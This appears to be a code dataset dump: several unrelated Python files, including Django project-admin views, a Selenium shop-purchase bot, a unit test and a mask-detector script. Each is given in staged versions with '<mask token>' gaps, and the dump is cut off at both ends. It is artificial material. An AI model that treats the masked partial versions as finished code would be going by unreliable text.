out.split()[0]])\n rc.res = res\n rc.licenses = map(lambda x: x[0], consts.LICENSES)\n if rc.project.status != consts.PROJECT_ENABLE:\n raise Http404\n return send_response(request, 'project/admin.html')\n\n\n@login_required\n@need_owner\ndef project_resources(request, name):\n rc = request.rc\n rc.pagename = 'Project resources usages'\n uri = '/p/' + name + '/admin'\n rc.navmenus = [{'uri': uri, 'txt': 'basic'}, {'uri': uri + 'resouces',\n 'txt': 'resources', 'choice': True}]\n if rc.project.status != consts.PROJECT_ENABLE:\n raise Http404\n return send_response(request, 'project/resources.html')\n\n\n<mask token>\n\n\ndef do_invite_op(request, name, op):\n if request.method != 'POST':\n return False\n project = q_get(Project, Q(name=name))\n if project is None:\n return False\n pm = q_get(ProjectMember, project=project, user=request.user)\n if pm is None:\n return False\n pm.member_type = op\n pm.save()\n if op == consts.PM_ACCEPT_INV:\n activity.join_member(project, request.user, request.user)\n return True\n\n\n@as_json\n@login_required\ndef do_accept(request, name):\n return do_invite_op(request, name, consts.PM_ACCEPT_INV)\n\n\n@as_json\n@login_required\ndef do_reject(request, name):\n return do_invite_op(request, name, consts.PM_REJECT_INV)\n\n\n@as_json\n@login_required\ndef do_exit(request, name):\n project = q_get(Project, name=name)\n if project is None:\n return False\n ProjectMember.objects.filter(project=project, user=request.user).delete()\n activity.leave_member(project, request.user, request.user)\n return True\n\n\n@login_required\n@need_owner\n@as_json\ndef del_member(request, name):\n if request.method != 'POST':\n return False\n uname = request.POST.get('u', '').strip()\n if len(uname) <= 0:\n return False\n rc = request.rc\n ProjectMember.objects.filter(project=rc.project, user=User.objects.\n filter(name=uname)).delete()\n return True\n\n\n@login_required\n@need_owner\n@as_json\ndef del_prj(request, name):\n if request.method != 'POST':\n return False\n del_name = name + '__DELETED__%s' % time.time()\n project = request.rc.project\n old_name = project.name\n project.name = del_name\n project.status = consts.PROJECT_MARK_DELETED\n project.save()\n svn.del_repos(old_name, del_name)\n return True, reverse('apps.user.views.view_user', args=[])\n\n\n@login_required\n@need_owner\n@as_json\ndef edit_prj(request, name):\n if request.method != 'POST':\n return False\n project = request.rc.project\n title = request.POST.get('t', '').strip()\n if len(title) <= 0:\n return False\n license = request.POST.get('l', '').strip()\n is_public = request.POST.get('pub', '0').strip()\n project.title = title\n project.license = license\n project.is_public = bool(int(is_public))\n project.save()\n return True\n",
"step-3": "<mask token>\n__author__ = 'luqi@taobao.com'\n\n\ndef build_prj_nav_menu(request, project, choice=None):\n uri = '/p/' + project.name\n navmenus = [{'uri': uri + '/src', 'txt': 'source'}, {'uri': uri +\n '/issues', 'txt': 'issues'}, {'uri': uri + '/wiki', 'txt': 'wiki'},\n {'uri': uri + '/info', 'txt': 'info'}]\n if project.owner == request.user:\n navmenus.append({'uri': uri + '/admin', 'txt': 'admin'})\n if choice is None:\n navmenus[0]['choice'] = True\n else:\n for m in navmenus:\n if m['uri'].endswith(choice):\n m['choice'] = True\n return navmenus\n\n\ndef need_owner(view_func):\n\n def _wrapped_view(request, *args, **kwargs):\n rc = request.rc\n rc.project = q_get(Project, name=kwargs['name'], status=consts.\n PROJECT_ENABLE)\n rc.project_name = kwargs['name']\n if rc.project == None:\n raise Http404\n if rc.project.owner != request.user:\n if request.user.supper is False:\n return HttpResponseForbidden()\n return view_func(request, *args, **kwargs)\n return wrap(view_func, _wrapped_view)\n\n\ndef can_access(prj, user):\n if prj is None or prj.status != consts.PROJECT_ENABLE:\n raise Http404\n if prj.is_public:\n return None\n if user.is_authenticated() is False:\n return HttpResponseForbidden()\n if prj.owner != user:\n pm = q_get(ProjectMember, project=prj, user=user)\n if pm is None:\n return HttpResponseForbidden()\n return None\n\n\ndef can_write(prj, user):\n if prj is None or prj.status != consts.PROJECT_ENABLE:\n return False\n if user.is_authenticated() is False:\n return False\n if prj.owner != user:\n pm = q_get(ProjectMember, project=prj, user=user)\n if pm is None:\n return False\n return True\n\n\n@need_owner\n@as_json\n@login_required\ndef do_invite(request, name):\n if request.method != 'POST':\n return False\n uname = request.POST.get('u', '').strip()\n if len(uname) <= 0:\n return False\n user = q_get(User, Q(name=uname) | Q(email=uname))\n if user is None or user == request.user:\n return False\n rc = request.rc\n pm = q_get(ProjectMember, project=rc.project, user=user)\n if pm is not None:\n if pm.member_type != consts.PM_ACCEPT_INV:\n pm.member_type = consts.PM_SEND_INV\n pm.save()\n return True\n pm = ProjectMember()\n pm.project = rc.project\n pm.user = user\n pm.member_type = consts.PM_SEND_INV\n pm.save()\n return True\n\n\n@login_required\n@need_owner\ndef project_admin(request, name):\n rc = request.rc\n rc.pagename = name + ' admin'\n uri = request.META['PATH_INFO']\n rc.navmenus = build_prj_nav_menu(request, rc.project, 'admin')\n res = []\n vls = q_gets(Issue, project=rc.project, status__in=(consts.ISSUE_OPEN,\n consts.ISSUE_CLOSED)).values('project').annotate(pc=Count('project'))\n res.append(['Issue Count', len(vls) > 0 and vls[0]['pc'] or 0])\n vls = q_gets(ProjectAttachment, project=rc.project, status=consts.\n FILE_ENABLE).values('project').annotate(pc=Count('project'))\n res.append(['Attachemts Count', len(vls) > 0 and vls[0]['pc'] or 0])\n vls = q_gets(ProjectAttachment, project=rc.project, status=consts.\n FILE_ENABLE).values('project').annotate(ps=Sum('size'))\n si = (len(vls) > 0 and vls[0]['ps'] or 0) / (1024 * 1024.0)\n res.append(['Attachemts Total Size', '%.4s MB' % si])\n r, out, err = exec_cmd(['du', '-sbh', os.path.join(settings.REPOS_ROOT,\n name)])\n res.append(['Repository Usage', r != 0 and '0.0 MB' or out.split()[0]])\n rc.res = res\n rc.licenses = map(lambda x: x[0], consts.LICENSES)\n if rc.project.status != consts.PROJECT_ENABLE:\n raise Http404\n return send_response(request, 'project/admin.html')\n\n\n@login_required\n@need_owner\ndef project_resources(request, name):\n rc = request.rc\n rc.pagename = 'Project resources usages'\n uri = '/p/' + name + '/admin'\n rc.navmenus = [{'uri': uri, 'txt': 'basic'}, {'uri': uri + 'resouces',\n 'txt': 'resources', 'choice': True}]\n if rc.project.status != consts.PROJECT_ENABLE:\n raise Http404\n return send_response(request, 'project/resources.html')\n\n\n@as_json\ndef get_members(request, name):\n project = q_get(Project, name=name)\n if project is None:\n return False\n resp = can_access(project, request.user)\n if resp is not None:\n return False\n members = q_gets(ProjectMember, project=project)\n return True, [m.json() for m in members]\n\n\ndef do_invite_op(request, name, op):\n if request.method != 'POST':\n return False\n project = q_get(Project, Q(name=name))\n if project is None:\n return False\n pm = q_get(ProjectMember, project=project, user=request.user)\n if pm is None:\n return False\n pm.member_type = op\n pm.save()\n if op == consts.PM_ACCEPT_INV:\n activity.join_member(project, request.user, request.user)\n return True\n\n\n@as_json\n@login_required\ndef do_accept(request, name):\n return do_invite_op(request, name, consts.PM_ACCEPT_INV)\n\n\n@as_json\n@login_required\ndef do_reject(request, name):\n return do_invite_op(request, name, consts.PM_REJECT_INV)\n\n\n@as_json\n@login_required\ndef do_exit(request, name):\n project = q_get(Project, name=name)\n if project is None:\n return False\n ProjectMember.objects.filter(project=project, user=request.user).delete()\n activity.leave_member(project, request.user, request.user)\n return True\n\n\n@login_required\n@need_owner\n@as_json\ndef del_member(request, name):\n if request.method != 'POST':\n return False\n uname = request.POST.get('u', '').strip()\n if len(uname) <= 0:\n return False\n rc = request.rc\n ProjectMember.objects.filter(project=rc.project, user=User.objects.\n filter(name=uname)).delete()\n return True\n\n\n@login_required\n@need_owner\n@as_json\ndef del_prj(request, name):\n if request.method != 'POST':\n return False\n del_name = name + '__DELETED__%s' % time.time()\n project = request.rc.project\n old_name = project.name\n project.name = del_name\n project.status = consts.PROJECT_MARK_DELETED\n project.save()\n svn.del_repos(old_name, del_name)\n return True, reverse('apps.user.views.view_user', args=[])\n\n\n@login_required\n@need_owner\n@as_json\ndef edit_prj(request, name):\n if request.method != 'POST':\n return False\n project = request.rc.project\n title = request.POST.get('t', '').strip()\n if len(title) <= 0:\n return False\n license = request.POST.get('l', '').strip()\n is_public = request.POST.get('pub', '0').strip()\n project.title = title\n project.license = license\n project.is_public = bool(int(is_public))\n project.save()\n return True\n",
"step-4": "from django.contrib.auth.decorators import login_required\nfrom django.core.urlresolvers import reverse\nfrom django.http import *\nfrom django import forms\nfrom django.db.models import Count, Sum, Q\nfrom taocode2.models import *\nfrom taocode2.helper.utils import *\nfrom taocode2.helper.func import wrap\nfrom taocode2.helper import consts\nfrom taocode2.apps.user import activity\nfrom taocode2.apps.repos import svn\nfrom taocode2.settings import *\nimport time\n__author__ = 'luqi@taobao.com'\n\n\ndef build_prj_nav_menu(request, project, choice=None):\n uri = '/p/' + project.name\n navmenus = [{'uri': uri + '/src', 'txt': 'source'}, {'uri': uri +\n '/issues', 'txt': 'issues'}, {'uri': uri + '/wiki', 'txt': 'wiki'},\n {'uri': uri + '/info', 'txt': 'info'}]\n if project.owner == request.user:\n navmenus.append({'uri': uri + '/admin', 'txt': 'admin'})\n if choice is None:\n navmenus[0]['choice'] = True\n else:\n for m in navmenus:\n if m['uri'].endswith(choice):\n m['choice'] = True\n return navmenus\n\n\ndef need_owner(view_func):\n\n def _wrapped_view(request, *args, **kwargs):\n rc = request.rc\n rc.project = q_get(Project, name=kwargs['name'], status=consts.\n PROJECT_ENABLE)\n rc.project_name = kwargs['name']\n if rc.project == None:\n raise Http404\n if rc.project.owner != request.user:\n if request.user.supper is False:\n return HttpResponseForbidden()\n return view_func(request, *args, **kwargs)\n return wrap(view_func, _wrapped_view)\n\n\ndef can_access(prj, user):\n if prj is None or prj.status != consts.PROJECT_ENABLE:\n raise Http404\n if prj.is_public:\n return None\n if user.is_authenticated() is False:\n return HttpResponseForbidden()\n if prj.owner != user:\n pm = q_get(ProjectMember, project=prj, user=user)\n if pm is None:\n return HttpResponseForbidden()\n return None\n\n\ndef can_write(prj, user):\n if prj is None or prj.status != consts.PROJECT_ENABLE:\n return False\n if user.is_authenticated() is False:\n return False\n if prj.owner != user:\n pm = q_get(ProjectMember, project=prj, user=user)\n if pm is None:\n return False\n return True\n\n\n@need_owner\n@as_json\n@login_required\ndef do_invite(request, name):\n if request.method != 'POST':\n return False\n uname = request.POST.get('u', '').strip()\n if len(uname) <= 0:\n return False\n user = q_get(User, Q(name=uname) | Q(email=uname))\n if user is None or user == request.user:\n return False\n rc = request.rc\n pm = q_get(ProjectMember, project=rc.project, user=user)\n if pm is not None:\n if pm.member_type != consts.PM_ACCEPT_INV:\n pm.member_type = consts.PM_SEND_INV\n pm.save()\n return True\n pm = ProjectMember()\n pm.project = rc.project\n pm.user = user\n pm.member_type = consts.PM_SEND_INV\n pm.save()\n return True\n\n\n@login_required\n@need_owner\ndef project_admin(request, name):\n rc = request.rc\n rc.pagename = name + ' admin'\n uri = request.META['PATH_INFO']\n rc.navmenus = build_prj_nav_menu(request, rc.project, 'admin')\n res = []\n vls = q_gets(Issue, project=rc.project, status__in=(consts.ISSUE_OPEN,\n consts.ISSUE_CLOSED)).values('project').annotate(pc=Count('project'))\n res.append(['Issue Count', len(vls) > 0 and vls[0]['pc'] or 0])\n vls = q_gets(ProjectAttachment, project=rc.project, status=consts.\n FILE_ENABLE).values('project').annotate(pc=Count('project'))\n res.append(['Attachemts Count', len(vls) > 0 and vls[0]['pc'] or 0])\n vls = q_gets(ProjectAttachment, project=rc.project, status=consts.\n FILE_ENABLE).values('project').annotate(ps=Sum('size'))\n si = (len(vls) > 0 and vls[0]['ps'] or 0) / (1024 * 1024.0)\n res.append(['Attachemts Total Size', '%.4s MB' % si])\n r, out, err = exec_cmd(['du', '-sbh', os.path.join(settings.REPOS_ROOT,\n name)])\n res.append(['Repository Usage', r != 0 and '0.0 MB' or out.split()[0]])\n rc.res = res\n rc.licenses = map(lambda x: x[0], consts.LICENSES)\n if rc.project.status != consts.PROJECT_ENABLE:\n raise Http404\n return send_response(request, 'project/admin.html')\n\n\n@login_required\n@need_owner\ndef project_resources(request, name):\n rc = request.rc\n rc.pagename = 'Project resources usages'\n uri = '/p/' + name + '/admin'\n rc.navmenus = [{'uri': uri, 'txt': 'basic'}, {'uri': uri + 'resouces',\n 'txt': 'resources', 'choice': True}]\n if rc.project.status != consts.PROJECT_ENABLE:\n raise Http404\n return send_response(request, 'project/resources.html')\n\n\n@as_json\ndef get_members(request, name):\n project = q_get(Project, name=name)\n if project is None:\n return False\n resp = can_access(project, request.user)\n if resp is not None:\n return False\n members = q_gets(ProjectMember, project=project)\n return True, [m.json() for m in members]\n\n\ndef do_invite_op(request, name, op):\n if request.method != 'POST':\n return False\n project = q_get(Project, Q(name=name))\n if project is None:\n return False\n pm = q_get(ProjectMember, project=project, user=request.user)\n if pm is None:\n return False\n pm.member_type = op\n pm.save()\n if op == consts.PM_ACCEPT_INV:\n activity.join_member(project, request.user, request.user)\n return True\n\n\n@as_json\n@login_required\ndef do_accept(request, name):\n return do_invite_op(request, name, consts.PM_ACCEPT_INV)\n\n\n@as_json\n@login_required\ndef do_reject(request, name):\n return do_invite_op(request, name, consts.PM_REJECT_INV)\n\n\n@as_json\n@login_required\ndef do_exit(request, name):\n project = q_get(Project, name=name)\n if project is None:\n return False\n ProjectMember.objects.filter(project=project, user=request.user).delete()\n activity.leave_member(project, request.user, request.user)\n return True\n\n\n@login_required\n@need_owner\n@as_json\ndef del_member(request, name):\n if request.method != 'POST':\n return False\n uname = request.POST.get('u', '').strip()\n if len(uname) <= 0:\n return False\n rc = request.rc\n ProjectMember.objects.filter(project=rc.project, user=User.objects.\n filter(name=uname)).delete()\n return True\n\n\n@login_required\n@need_owner\n@as_json\ndef del_prj(request, name):\n if request.method != 'POST':\n return False\n del_name = name + '__DELETED__%s' % time.time()\n project = request.rc.project\n old_name = project.name\n project.name = del_name\n project.status = consts.PROJECT_MARK_DELETED\n project.save()\n svn.del_repos(old_name, del_name)\n return True, reverse('apps.user.views.view_user', args=[])\n\n\n@login_required\n@need_owner\n@as_json\ndef edit_prj(request, name):\n if request.method != 'POST':\n return False\n project = request.rc.project\n title = request.POST.get('t', '').strip()\n if len(title) <= 0:\n return False\n license = request.POST.get('l', '').strip()\n is_public = request.POST.get('pub', '0').strip()\n project.title = title\n project.license = license\n project.is_public = bool(int(is_public))\n project.save()\n return True\n",
"step-5": "# -*- coding: utf-8 -*-\n#\n# Copyright (C) 2011 Taobao .Inc\n# All rights reserved.\n#\n# This software is licensed as described in the file COPYING, which\n# you should have received as part of this distribution. The terms\n# are also available at http://code.taobao.org/license.html.\n#\n# This software consists of voluntary contributions made by many\n# individuals. For the exact contribution history, see the revision\n# history and logs, available at http://code.taobao.org/.\n\n\nfrom django.contrib.auth.decorators import login_required\nfrom django.core.urlresolvers import reverse\nfrom django.http import *\nfrom django import forms\nfrom django.db.models import Count,Sum,Q\n\nfrom taocode2.models import *\nfrom taocode2.helper.utils import *\nfrom taocode2.helper.func import wrap\nfrom taocode2.helper import consts\nfrom taocode2.apps.user import activity\nfrom taocode2.apps.repos import svn\n\nfrom taocode2.settings import *\nimport time\n\n\n__author__ = 'luqi@taobao.com'\n\n\ndef build_prj_nav_menu(request, project, choice = None):\n uri = '/p/'+project.name\n\n navmenus = [{'uri': uri + '/src', 'txt':'source'},\n {'uri': uri + '/issues', 'txt':'issues'},\n {'uri': uri + '/wiki', 'txt':'wiki'},\n {'uri': uri + '/info', 'txt':'info'}]\n\n if project.owner == request.user:\n navmenus.append({'uri': uri + '/admin', 'txt':'admin'})\n\n if choice is None:\n navmenus[0]['choice'] = True\n else:\n for m in navmenus:\n if m['uri'].endswith(choice):\n m['choice'] = True\n return navmenus\n\ndef need_owner(view_func):\n def _wrapped_view(request, *args, **kwargs):\n rc = request.rc\n rc.project = q_get(Project, name=kwargs['name'],\n status = consts.PROJECT_ENABLE)\n rc.project_name = kwargs['name']\n\n if rc.project == None:\n raise Http404\n\n if rc.project.owner != request.user:\n if request.user.supper is False:\n return HttpResponseForbidden()\n return view_func(request, *args, **kwargs)\n return wrap(view_func, _wrapped_view)\n\ndef can_access(prj, user):\n if prj is None or prj.status != consts.PROJECT_ENABLE:\n raise Http404\n\n if prj.is_public:\n return None\n\n if user.is_authenticated() is False:\n return HttpResponseForbidden()\n\n if prj.owner != user:\n pm = q_get(ProjectMember, project = prj, user = user)\n if pm is None:\n return HttpResponseForbidden()\n return None\n\n\ndef can_write(prj, user):\n if prj is None or prj.status != consts.PROJECT_ENABLE:\n return False\n\n if user.is_authenticated() is False:\n return False\n\n if prj.owner != user:\n pm = q_get(ProjectMember, project = prj, user = user)\n if pm is None:\n return False\n return True\n \n\n@need_owner\n@as_json\n@login_required\ndef do_invite(request, name):\n if request.method != 'POST':\n return False\n uname = request.POST.get('u', '').strip()\n if len(uname) <= 0:\n return False\n \n user = q_get(User, Q(name=uname)|Q(email=uname))\n if user is None or user == request.user:\n return False\n\n rc = request.rc\n\n pm = q_get(ProjectMember,\n project=rc.project, user=user)\n \n if pm is not None:\n if pm.member_type != consts.PM_ACCEPT_INV:\n pm.member_type = consts.PM_SEND_INV\n pm.save()\n return True\n \n pm = ProjectMember()\n pm.project = rc.project\n pm.user = user\n pm.member_type = consts.PM_SEND_INV\n pm.save()\n\n return True\n\n@login_required\n@need_owner\ndef project_admin(request, name):\n rc = request.rc\n rc.pagename = name + ' admin'\n uri = request.META['PATH_INFO']\n \n #rc.navmenus = [{'uri': uri, 'txt':'basic', 'choice':True},\n # {'uri': uri + 'resources', 'txt':'resources'}]\n\n rc.navmenus = build_prj_nav_menu(request, rc.project, 'admin')\n\n res = []\n vls = q_gets(Issue, project = rc.project,\n status__in = (consts.ISSUE_OPEN, \n consts.ISSUE_CLOSED)).values('project').annotate(pc=Count('project'))\n res.append(['Issue Count', \n len(vls) > 0 and vls[0]['pc'] or 0])\n vls = q_gets(ProjectAttachment, project = rc.project,\n status = consts.FILE_ENABLE).values('project').annotate(pc=Count('project'))\n\n res.append(['Attachemts Count',\n len(vls) > 0 and vls[0]['pc'] or 0])\n \n vls = q_gets(ProjectAttachment,\n project = rc.project,\n status = consts.FILE_ENABLE).values('project').annotate(ps=Sum('size'))\n \n si = (len(vls) > 0 and vls[0]['ps'] or 0) / (1024*1024.0)\n \n res.append(['Attachemts Total Size','%.4s MB'%si])\n\n r,out, err = exec_cmd(['du','-sbh', os.path.join(settings.REPOS_ROOT, name)])\n res.append(['Repository Usage', r != 0 and '0.0 MB' or out.split()[0]])\n\n rc.res = res\n\n rc.licenses = map(lambda x:x[0], consts.LICENSES)\n if rc.project.status != consts.PROJECT_ENABLE:\n raise Http404\n\n return send_response(request, 'project/admin.html')\n\n\n@login_required\n@need_owner\ndef project_resources(request, name):\n rc = request.rc\n rc.pagename = 'Project resources usages'\n uri = '/p/'+name+'/admin'\n \n rc.navmenus = [{'uri': uri, 'txt':'basic'},\n {'uri': uri + 'resouces',\n 'txt':'resources', 'choice':True}]\n\n if rc.project.status != consts.PROJECT_ENABLE:\n raise Http404\n\n return send_response(request, 'project/resources.html')\n\n\n@as_json\ndef get_members(request, name):\n project = q_get(Project, name=name)\n if project is None:\n return False\n \n resp = can_access(project, request.user)\n if resp is not None:\n return False\n\n members = q_gets(ProjectMember, project=project) \n return (True, [m.json() for m in members])\n\ndef do_invite_op(request, name, op):\n if request.method != 'POST':\n return False\n\n project = q_get(Project, Q(name=name))\n\n if project is None:\n return False\n pm = q_get(ProjectMember, project=project, user=request.user)\n\n if pm is None:\n return False\n\n pm.member_type = op\n pm.save()\n\n if op == consts.PM_ACCEPT_INV:\n activity.join_member(project, request.user, request.user)\n\n return True\n\n@as_json\n@login_required\ndef do_accept(request, name):\n return do_invite_op(request, name, \n consts.PM_ACCEPT_INV)\n\n@as_json\n@login_required\ndef do_reject(request, name):\n return do_invite_op(request, name,\n consts.PM_REJECT_INV)\n\n@as_json\n@login_required\ndef do_exit(request, name):\n \n project = q_get(Project, name = name)\n \n if project is None:\n return False\n \n ProjectMember.objects.filter(project = project,\n user = request.user).delete()\n\n activity.leave_member(project, request.user, request.user)\n return True\n\n@login_required\n@need_owner\n@as_json\ndef del_member(request, name):\n if request.method != 'POST':\n return False\n \n uname = request.POST.get('u', '').strip()\n if len(uname) <= 0:\n return False\n\n rc = request.rc\n\n ProjectMember.objects.filter(project = rc.project,\n user = User.objects.filter(name=uname)).delete()\n return True\n\n\n@login_required\n@need_owner\n@as_json\ndef del_prj(request, name):\n if request.method != 'POST':\n return False\n \n del_name = name + '__DELETED__%s'%time.time()\n\n project = request.rc.project\n old_name = project.name\n\n project.name = del_name\n project.status = consts.PROJECT_MARK_DELETED\n project.save()\n \n svn.del_repos(old_name, del_name)\n \n return (True, reverse('apps.user.views.view_user', args=[]))\n\n@login_required\n@need_owner\n@as_json\ndef edit_prj(request, name):\n if request.method != 'POST':\n return False\n \n project = request.rc.project\n title = request.POST.get('t','').strip()\n \n if len(title) <= 0:\n return False\n \n license = request.POST.get('l','').strip()\n is_public = request.POST.get('pub','0').strip()\n project.title = title\n project.license = license\n project.is_public = bool(int(is_public))\n project.save()\n\n return True\n\n\n",
"step-ids": [
7,
14,
16,
17,
18
]
}
|
[
7,
14,
16,
17,
18
] |
a = range(10)
[x*x for x in a]
|
normal
|
{
"blob_id": "018b9533074d2766dc5010ff9c5e70888d249b45",
"index": 1832,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n[(x * x) for x in a]\n",
"step-3": "a = range(10)\n[(x * x) for x in a]\n",
"step-4": "a = range(10)\n[x*x for x in a]\n",
"step-5": null,
"step-ids": [
0,
1,
2,
3
]
}
|
[
0,
1,
2,
3
] |
"""
Supreme bot????
"""
import os
import time
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
import selenium.webdriver.support.expected_conditions as EC
from selenium.common.exceptions import TimeoutException
from selenium.webdriver.chrome.options import Options
path_to_chromedriver = '/Users/Alan/Desktop/Github/SupremeBot/chromedriver'
url = "https://www.supremenewyork.com/shop/new"
path_to_log = '/Users/Alan/Desktop/'
log_errors = open(path_to_log + 'log_errors.txt', mode = 'w')
userProfile = "C:/Users/Alan/AppData/Local/Google/Chrome/User Data"
chop = webdriver.ChromeOptions()
chop.add_argument("user-data-dir=C:/Users/Alan/AppData/Local/Google/Chrome/User Data")
def initDriver():
driver = webdriver.Chrome(executable_path=path_to_chromedriver, chrome_options=chop)
driver.get(url)
return driver
def buyItem(theDriver):
try:
#Item you're trying to buy
item = theDriver.find_element_by_xpath('//*[@id="container"]/article[44]/div/a').click()
except TimeoutException:
log_errors.write('Couldn\'t locate item' + '\n')
def addCart(theDriver):
try:
print "Adding to Cart..."
addCart = WebDriverWait(theDriver, 120).until(EC.element_to_be_clickable((By.NAME, 'commit')))
print addCart.get_attribute("value")
addCart.click()
except TimeoutException:
print "Sold out!"
log_errors.write('Sold out' + '\n')
def checkout(theDriver):
try:
print "Checking out..."
checkout = WebDriverWait(theDriver, 120).until(EC.element_to_be_clickable((By.XPATH, '//*[@id="cart"]/a[2]')))
time.sleep(.25)
checkout.click()
except TimeoutException:
print "Rip!"
log_errors.write('Error' + '\n')
def fillInfo(theDriver):
try:
print "Entering info..."
except TimeoutException:
print "Error filling info"
def readAndAgree(theDriver):
try:
print "Clicking agree..."
#agree = theDriver.find_elements_by_css_selector('.iCheck-helper')
#agree[1].click()
agree = WebDriverWait(theDriver, 120).until(EC.presence_of_all_elements_located((By.CSS_SELECTOR, '.iCheck-helper')))
agree[1].click()
except TimeoutException:
print "Not found"
def main():
print "Bot running"
driver = initDriver()
buyItem(driver)
addCart(driver)
checkout(driver)
readAndAgree(driver)
while True:
time.sleep(50)
if __name__ == '__main__':
main()
print "Finished"
|
normal
|
{
"blob_id": "8fed95cf809afca7b6008d5abcdcf697367a33c2",
"index": 2929,
"step-1": "\"\"\"\nSupreme bot????\n\n\"\"\"\nimport os\nimport time\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nimport selenium.webdriver.support.expected_conditions as EC\nfrom selenium.common.exceptions import TimeoutException\nfrom selenium.webdriver.chrome.options import Options\n\npath_to_chromedriver = '/Users/Alan/Desktop/Github/SupremeBot/chromedriver'\nurl = \"https://www.supremenewyork.com/shop/new\"\npath_to_log = '/Users/Alan/Desktop/'\nlog_errors = open(path_to_log + 'log_errors.txt', mode = 'w')\nuserProfile = \"C:/Users/Alan/AppData/Local/Google/Chrome/User Data\"\n\n\nchop = webdriver.ChromeOptions()\nchop.add_argument(\"user-data-dir=C:/Users/Alan/AppData/Local/Google/Chrome/User Data\")\n\n\ndef initDriver():\n driver = webdriver.Chrome(executable_path=path_to_chromedriver, chrome_options=chop)\n driver.get(url)\n \n return driver\n\ndef buyItem(theDriver):\n try:\n #Item you're trying to buy\n item = theDriver.find_element_by_xpath('//*[@id=\"container\"]/article[44]/div/a').click()\n except TimeoutException:\n log_errors.write('Couldn\\'t locate item' + '\\n')\n\ndef addCart(theDriver):\n try:\n print \"Adding to Cart...\"\n addCart = WebDriverWait(theDriver, 120).until(EC.element_to_be_clickable((By.NAME, 'commit')))\n print addCart.get_attribute(\"value\")\n addCart.click()\n except TimeoutException:\n print \"Sold out!\"\n log_errors.write('Sold out' + '\\n')\n\ndef checkout(theDriver):\n try:\n print \"Checking out...\"\n checkout = WebDriverWait(theDriver, 120).until(EC.element_to_be_clickable((By.XPATH, '//*[@id=\"cart\"]/a[2]')))\n time.sleep(.25)\n checkout.click()\n except TimeoutException:\n print \"Rip!\"\n log_errors.write('Error' + '\\n')\n\ndef fillInfo(theDriver):\n try:\n print \"Entering info...\"\n except TimeoutException:\n print \"Error filling info\"\n\ndef readAndAgree(theDriver):\n try:\n print \"Clicking agree...\"\n \n #agree = theDriver.find_elements_by_css_selector('.iCheck-helper')\n #agree[1].click()\n \n agree = WebDriverWait(theDriver, 120).until(EC.presence_of_all_elements_located((By.CSS_SELECTOR, '.iCheck-helper')))\n agree[1].click()\n except TimeoutException:\n print \"Not found\"\ndef main():\n print \"Bot running\"\n driver = initDriver()\n buyItem(driver)\n addCart(driver)\n checkout(driver)\n readAndAgree(driver)\n while True:\n time.sleep(50)\n\nif __name__ == '__main__':\n main()\n print \"Finished\"\n\n\n\n\n\n \n",
"step-2": null,
"step-3": null,
"step-4": null,
"step-5": null,
"step-ids": [
0
]
}
|
[
0
] |
from unittest import TestCase
from utils.fileutils import is_empty_dir, clear_attributes
class FileUtilsTest(TestCase):
def test_is_empty_dir(self):
self.assertFalse(is_empty_dir(r'c:\Windows'))
def test_clear_attributes(self):
clear_attributes(__file__)
|
normal
|
{
"blob_id": "89059915df8891efcbe742174bd468a1390598e3",
"index": 3001,
"step-1": "<mask token>\n\n\nclass FileUtilsTest(TestCase):\n <mask token>\n <mask token>\n",
"step-2": "<mask token>\n\n\nclass FileUtilsTest(TestCase):\n <mask token>\n\n def test_clear_attributes(self):\n clear_attributes(__file__)\n",
"step-3": "<mask token>\n\n\nclass FileUtilsTest(TestCase):\n\n def test_is_empty_dir(self):\n self.assertFalse(is_empty_dir('c:\\\\Windows'))\n\n def test_clear_attributes(self):\n clear_attributes(__file__)\n",
"step-4": "from unittest import TestCase\nfrom utils.fileutils import is_empty_dir, clear_attributes\n\n\nclass FileUtilsTest(TestCase):\n\n def test_is_empty_dir(self):\n self.assertFalse(is_empty_dir('c:\\\\Windows'))\n\n def test_clear_attributes(self):\n clear_attributes(__file__)\n",
"step-5": "from unittest import TestCase\n\nfrom utils.fileutils import is_empty_dir, clear_attributes\n\n\nclass FileUtilsTest(TestCase):\n def test_is_empty_dir(self):\n self.assertFalse(is_empty_dir(r'c:\\Windows'))\n\n def test_clear_attributes(self):\n clear_attributes(__file__)\n\n",
"step-ids": [
1,
2,
3,
4,
5
]
}
|
[
1,
2,
3,
4,
5
] |
from django.urls import re_path
from .consumers import ChatConsumer, ChatLobbyConsumer
websocket_urlpatterns = [
re_path(r'ws/chat/(?P<room_id>\w+)/$', ChatConsumer),
re_path(r'ws/lobby/$', ChatLobbyConsumer),
]
|
normal
|
{
"blob_id": "1bd1769f94b93e0bb674adfd1bb96c778708f6d8",
"index": 5593,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nwebsocket_urlpatterns = [re_path('ws/chat/(?P<room_id>\\\\w+)/$',\n ChatConsumer), re_path('ws/lobby/$', ChatLobbyConsumer)]\n",
"step-3": "from django.urls import re_path\nfrom .consumers import ChatConsumer, ChatLobbyConsumer\nwebsocket_urlpatterns = [re_path('ws/chat/(?P<room_id>\\\\w+)/$',\n ChatConsumer), re_path('ws/lobby/$', ChatLobbyConsumer)]\n",
"step-4": "from django.urls import re_path\n\nfrom .consumers import ChatConsumer, ChatLobbyConsumer\n\nwebsocket_urlpatterns = [\n re_path(r'ws/chat/(?P<room_id>\\w+)/$', ChatConsumer),\n re_path(r'ws/lobby/$', ChatLobbyConsumer),\n]",
"step-5": null,
"step-ids": [
0,
1,
2,
3
]
}
|
[
0,
1,
2,
3
] |
from core.detector import Detector
from utils.augmentations import *
from torchvision.transforms.transforms import Compose
from config.mask_config import *
from config.train_config import model_info
np.random.seed(3)
colors = np.random.randint(128, 256, (100, 3))
def to_image(det):
size = 512
val_trans = [Normalization([0.5, 0.5, 0.5], [0.5, 0.5, 0.5])]
val_trans = Compose(val_trans)
for i in range(5, 200):
path = f"D:/temp_data/mask/test/{i}.jpg "
print(path)
image = cv2.imread(path)
image = cv2.resize(image, (size, size))
bboxes = det.predict(image.copy(), size, (0.2, 0.2))
for cid, bbox in bboxes[0].items():
cls = "mask" if cid == 1 else "face"
for b in bbox:
prob = b[-1]
b = b[:4].astype(int)
cv2.rectangle(image, (b[0], b[1]), (b[2], b[3]), colors[cid].tolist(), 1, cv2.LINE_AA)
